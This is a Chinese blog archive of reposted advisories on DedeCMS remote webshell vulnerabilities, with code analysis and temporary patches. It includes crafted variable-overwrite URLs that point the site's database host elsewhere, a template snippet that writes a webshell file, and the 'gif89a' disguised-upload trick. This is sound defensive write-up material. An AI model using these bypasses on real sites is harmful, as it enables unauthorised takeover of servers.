标签归档:漏洞

织梦DedeCMS GetWebShell漏洞分析报告

  这是对前段时间爆出的GetWebShell漏洞的分析报告,不过织梦官方已经放出了补丁包,打了最新补丁的用户不会受到该漏洞的威胁,下文转自比特网 安全宝技术专家 IMIYOO。

  事件背景:

  近日很多网站被爆遭到入侵,经过安全宝安全实验室研究分析,这些网站使用的都是DedeCMS内容管理系统,DedeCMS爆出一个很严重的漏洞,攻击者可以直接向服务器中写入“一句话木马”。

  DedeCMS的漏洞成因主要是由于变量覆盖导致而成,攻击者通过提交变量,覆盖数据库连接配置的全局变量,从而可以使被攻击的网站反向连接攻击者指定的数据库,读取指定的内容,并在被攻击的网站中直接写入WebShell。从整个攻击过程来看,这种攻击利用方式也比较巧妙,避开了传统的注入,破解,登录后台和上传木马的攻击模式,攻击者可以在未授权的前提下直接向网站目录中写入WebShell,从而控制网站,危害严重。

  随着网站管理员的安全意识的逐渐提高,网络安全设备的引入,模块和程序的过滤;传统的入侵模式也越来越捉襟见肘,从这次攻击中,我们发现传统的Web攻击思想也在发生变换,它们正慢慢由正向攻击向反向攻击过渡,其实在系统的攻击中,反向攻击早就存在,攻击者为了绕过防火墙一些列的前端过滤设备,利用木马使被攻击机器自己发起连向攻击者机器的请求,而防火墙通常是不会拦截机器主动发现的连接,从而攻击者很容易绕过了前端一系列的过滤和障碍。

  分析报告:

  下面我们一起来看下Dede的漏洞原因,首先我们来看个变量覆盖漏洞的原型基础:

  VulTest.php:

1
2
3
4
5
<!--p<br-->$anquanbao=”imiyoo_first”;
foreach($_GET as $key=&gt;$value)
$$key=$value;
echo “\$anquanbao=.$anquanbao;
?&gt;

  攻击者显然通过$_GET提交变量覆盖已经定义的变量,效果如下图:

攻击前图片

攻击后图片($anquanbao变量已经被覆盖)

  有了这个漏洞的基础,现在我们来看看Dede的漏洞详细信息,漏洞主要发生在文件/plus/mytag_js.php中:

mytag_js.php

    我们首先读下这段代码的处理流程,程序在开始会获取用户提交的$aid变量,如果需要显示不需要显示缓存内容,则会从数据库表’#@_mytag’中读取记录,并将读取的$tagbody内容以Dede模版形式写入缓存文件中。

  在这里很显然存在变量$aid的注入漏洞,但由于该表的内容一般都为空,而且Dede对提交的单引号都会有过滤,基本属于鸡肋漏洞;但是如果结合变量覆盖漏洞,攻击者就可以利用该漏洞覆盖数据库配置文件的连接信息,将数据库的连接重定向到攻击者可以控制的一个数据库,那么这样攻击者就能完全控制$tagbody的内容,而且在DedeCMS文章管理系统中,模版中是可以嵌入PHP代码,也就是说攻击者可以执行自己的PHP代码,从而可以轻易地向服务器中写入一句话木马,达到攻击的效果。

  在对漏洞进行测试的时候,我们发现Dede产生变量覆盖漏洞的代码在/include/common.inc.php中,如下:

common.inc.php

    通过这段代码我们可以对程序中的任何变量进行覆盖,为了覆盖数据库配置文件中的变量,其实我们覆盖$cfg_dbhost或$GLOBALS[cfg_dbhost]都可以,因此我们可以提交形如下面的测试代码:

  Ø mytag_js.php?_GET[cfg_dbhost]=www.anquanbao.com

  Ø mytag_js.php?_GET[GLOBALS][cfg_dbhost]= www.anquanbao.com

  不过DedeCMS对这种形式的攻击也是有防范,但只是对提交的变量中的键值进行了判

  断,代码如下:

代码

    但是这个变量$_k只是对一维数据的键值进行判断,而Dede对变量的提取却是支持多维的,如果攻击者提交的是多维的变量就可以很容易绕过,为了绕过正则的检测,同时达到覆盖变量的效果;因此我们可以很容易想到$_COOKIE变量,更重要的是Dede也支持$_COOKIE提交变量,因此我们就可以得到如下的有效攻击代码:

  Ø mytag_js.php?_GET[_COOKIE][GLOBALS][cfg_dbhost]=www.anquanbao.com

  利用上面的代码就可以绕过DedeCMS的正则检测,同时可以覆盖$GLOBALS[cfg_dbhost]变量。

  分析总结:

  通过对上面的分析,那么现在我们就能很清楚整个攻击流程:

  1 攻击者会预先准备一个MySQL数据库,数据库中包含有一个表明为’#@_mytag’的数据表,其中’#@’是待攻击数据库的表前缀,并在表中插入一条记录来控制$tagbody的内容,使其能够写入一句话木马,而且Dede利用模版写入一句话木马的代码如下:

  {dede:php}

  $fp = @fopen(“test.php”, \’a\’);

  @fwrite($fp, \’\’);

  echo “OK”;

  @fclose($fp);

  {/dede:php}

  2 提交变量覆盖语句读取表中指定的内容,即可在当前路径下写入一句话木马。

  鉴于很多使用DedeCMS的网站还没有修补该漏洞,因此在这里就不公布危害性攻击代码。

  安全建议:

  许多程序员在对$_GET,$_POST或$_COOKIE获取的变量处理中,进行了对多维数组变量的递归解析,但是却在过滤的时候并没有对每一维的键值进行判断和检测;例如,在本次爆出的Dede的0day,程序员就只考虑到检测二维数组的键值,但是攻击者却可以通过提交三维数组生成COOKIE变量轻易绕过。因此程序员如果在保证程序能够对多维变量进行解析的时候,同时也是需要对每一维的键值进行有效检测和判断。

  转自:http://safe.it168.com/a2011/0822/1235/000001235693.shtml

修复近日爆出的最新DedeCMS漏洞,临时解决方法

      织梦官方会在近日出新补丁对这一漏洞进行修复,利于该漏洞获得网站权限至少还得知道后台管理目录才行,对于将后台默认目录改名的用户威胁不大,只要不是admin之类的弱后台目录名就行。

      广大使用织梦DedeCMS的站长可以通过邮件订阅织梦管理员之家,如有新文章发布,第二天会有订阅邮件发至您的邮箱,及时了解最新织梦资讯、漏洞修复方案以及各类帮助教程和模板插件资源。

      临时解决方法:

      编辑打开 include\common.inc.php文件,查找53行处,找到以下函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (!defined('DEDEREQUEST'))
{
    //检查和注册外部提交的变量
    foreach($_REQUEST as $_k=>$_v)
    {
        if( strlen($_k)>0 && preg_match('/^(cfg_|GLOBALS)/',$_k) )
        {
            exit('Request var not allow!');
        }
    }
    foreach(Array('_GET','_POST','_COOKIE') as $_request)
    {
        foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
    }
}

      将该函数替换为以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if (!defined('DEDEREQUEST'))
{
    //检查和注册外部提交的变量
    function CheckRequest(&$val) {
        if (is_array($val)) {
            foreach ($val as $_k=>$_v) {
                CheckRequest($_k);
                CheckRequest($val[$_k]);
            }
        } else
        {
            if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) )
            {
                exit('Request var not allow!');
            }
        }
    }
    CheckRequest($_REQUEST);
   
    foreach(Array('_GET','_POST','_COOKIE') as $_request)
    {
        foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
    }
}

织梦DedeCms临时安全补丁修复最新Get Shell漏洞

转自织梦DedeCms论坛版主qjpemail发的教程,原文地址:http://bbs.dedecms.com/read.php?tid=279243

之前也发布文章说明了《织梦DedeCms5.3/5.6最新Get Shell漏洞》的相关情况,现在转qjpemail版主发的临时修复方法。希望大家能关注官方发布的正式补丁。

建议所有织梦DedeCms5.3-5.6以及DedeEIMS用户修复该问题。

由于dedecms没有对上传文件进行严格检查,存在伪装图片上传危险
问题:新建一个文本文件,任意输入内容,在开头加上”gif89a ”,然后把文件后缀改为图片格式gif,即可上传。成功后能运行该文件所写的代码。

修复:
编辑打开include/uploadsafe.inc.php
找到

1
2
3
4
if(empty(${$_key.'_size'}))
{
${$_key.'_size'} = @filesize($$_key);
}

在下面加上

1
2
3
4
5
6
7
8
9
$p_arr = array("image/pjpeg","image/jpeg","image/gif","image/png","image/xpng","image/wbmp");
    if(in_array(strtolower(trim(${$_key.'_type'})),$p_arr))
    {
        $image_dd= @getimagesize($$_key);
        if (!in_array($image_dd[2],array(1,2,3)))
        {
             exit('请不要执行非法操作');
        }
}

5.6gbk版程序的可以直接下载我附件覆盖即可。

附件:include.tar.gz

修改UTF-8版时注意编码问题,记得另存为UTF-8格式。

test.zip里的图片即为测试图片,如果你的系统能上传该图片即表示存在问题

附件:test.zip

受影响的是开启了会员功能的网站。欢迎订阅本站,第一时间掌握最新资讯。

织梦DedeCms5.3/5.6最新Get Shell漏洞

这个漏洞很早就被人公布了,可惜我现在才注意到,不过目前对我的网站没什么影响,因为开启了会员功能才会遭到恶意攻击。

下面漏洞描述转自php100。

漏洞描述:

DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场,目前已经有超过二十万个站点正在使用DedeCms或居于 DedeCms核心,是目前国内应用最广泛的php类CMS系统。

article_add.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
........................  
else if($dopost=='save')  
{  
include(DEDEMEMBER.'/inc/archives_check.php');    
//分析处理附加表数据  
$inadd_f = $inadd_v = '';  
if(!emptyempty($dede_addonfields))  
{  
    $addonfields = explode(';',$dede_addonfields);  
............................................ //省略部份代码  
    $inadd_f .= ','.$vs[0];  
    $inadd_v .= " ,'".${$vs[0]}."' ";  
    }  
    }  
}  
..........................................  
$addtable = trim($cInfos['addtable']);  
if(emptyempty($addtable))  
{  
   ......................................  
}  
else  
{  
   $inquery = "INSERT INTO `{$addtable}`(aid,typeid,userip,redirecturl,templet,body{$inadd_f}) Values('$arcID','$typeid','$userip','','','$body'{$inadd_v})";  
   if(!$dsql->ExecuteNoneQuery($inquery))  
   {  
..........................................  
   }  
}  
..........................................  
$artUrl = MakeArt($arcID,true);     //利用地方(arc.archives.functions.php有定义)      
function MakeArt($aid,$ismakesign=false)  
{  
global $cfg_makeindex,$cfg_basedir,$cfg_templets_dir,$cfg_df_style;  
include_once(DEDEINC.'/arc.archives.class.php');  
if($ismakesign)  
{  
   $envs['makesign'] = 'yes';  
}  
$arc = new Archives($aid);  
$reurl = $arc->MakeHtml();           //arc.archives.class.php有定义  
 ............................  
}
 arc.archives.class.php
class Archives  
{  
 ................  
function __construct($aid)  
{  
............  
   if($this->ChannelUnit->ChannelInfos['addtable']!='')  
    {  
     $query = "SELECT * FROM `{$this->ChannelUnit->ChannelInfos['addtable']}` WHERE `aid` = '$aid'";  
     $this->addTableRow = $this->dsql->GetOne($query);  
    }  
........................  
if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1)  
     {  
     if(is_array($this->addTableRow))  
      {  
     ...............................  
      $this->Fields['templet'] = $this->addTableRow['templet'];//注意1  
     ......................................  
     }  
    }  
    .............................  
}  
 
function MakeHtml($isremote=0)  
{  
  global $cfg_remote_site,$fileFirst;  
  if($this->IsError)  
  {  
   return '';  
  }  
  $this->Fields["displaytype"] = "st";  
  //预编译$th  
  $this->LoadTemplet();              //触发1  
    ......................................//省略部份代码  
    $this->ParseDMFields($i,1);  
    $this->dtp->SaveTo($truefilename); //触发2  
......................................  
}  
继续跟(触发1)$this->LoadTemplet();        //arc.archives.class.php有定义    
function LoadTemplet()  
{  
   if($this->TempSource=='')  
  {  
   $tempfile = $this->GetTempletFile();                     //注意2  
    if(!file_exists($tempfile) || !is_file($tempfile))  
    {  
    echo "文档ID:{$this->Fields['id']} - {$this->TypeLink->TypeInfos['typename']} - {$this->Fields['title']}<br />";  
    echo "模板文件不存在,无法解析文档!";  
    exit();  
   }  
    $this->dtp->LoadTemplate($tempfile);                  //触发3  
    $this->TempSource = $this->dtp->SourceString;  
   }  
  else  
   {  
    $this->dtp->LoadSource($this->TempSource);  
   }  
}    
看注意2$this->GetTempletFile()           //arc.archives.class.php有定义    
function GetTempletFile()  
{  
  global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;  
  $cid = $this->ChannelUnit->ChannelInfos['nid'];  
  if(!emptyempty($this->Fields['templet']))                  //注意3  
  {  
   $filetag = MfTemplet($this->Fields['templet']);  
   if( !ereg('/', $filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag;  
  }  
  else  
  {  
   $filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]);  
  }  
.......................................  
  if($cid=='spec')  
  {  
  if( !emptyempty($this->Fields['templet']) )  
  {  
  $tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;  
  }  
  else  
  {  
   $tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";  
  }  
  }  
...........................................  
   return $tmpfile;  
}  

注意3中的值来自注意1是通过查表得来的,控制了它就等于控制了任意模板,然后通过触发3来触发漏洞
看下怎么控制注意1的值
article_edit.php
......................  
else if($dopost=='save')  
{ ....................  
if(!emptyempty($dede_addonfields))  
{  
  $addonfields = explode(';',$dede_addonfields);  
  if(is_array($addonfields))  
  {  
........................  
            ${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);  
     $inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' ";  
     
   }  
}  
...................  
if($addtable!='')  
{  
  $upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' ";  
  if(!$dsql->ExecuteNoneQuery($upQuery))  
   {..............  
  }  
}  
....................  
}

$dede_addonfields没有过滤,我们可以构造$inadd_f,templet='上传的模板图片地址',包含我们的图片后,再通过触发2来生成图片里的后门!

上面是漏洞的成因,如何执行漏洞这里就不写了,也不要问我具体怎么操作。想了解的自己到网上搜索一下,目前官方还没出新的补丁,开启了会员功能的朋友要注意做好备份了。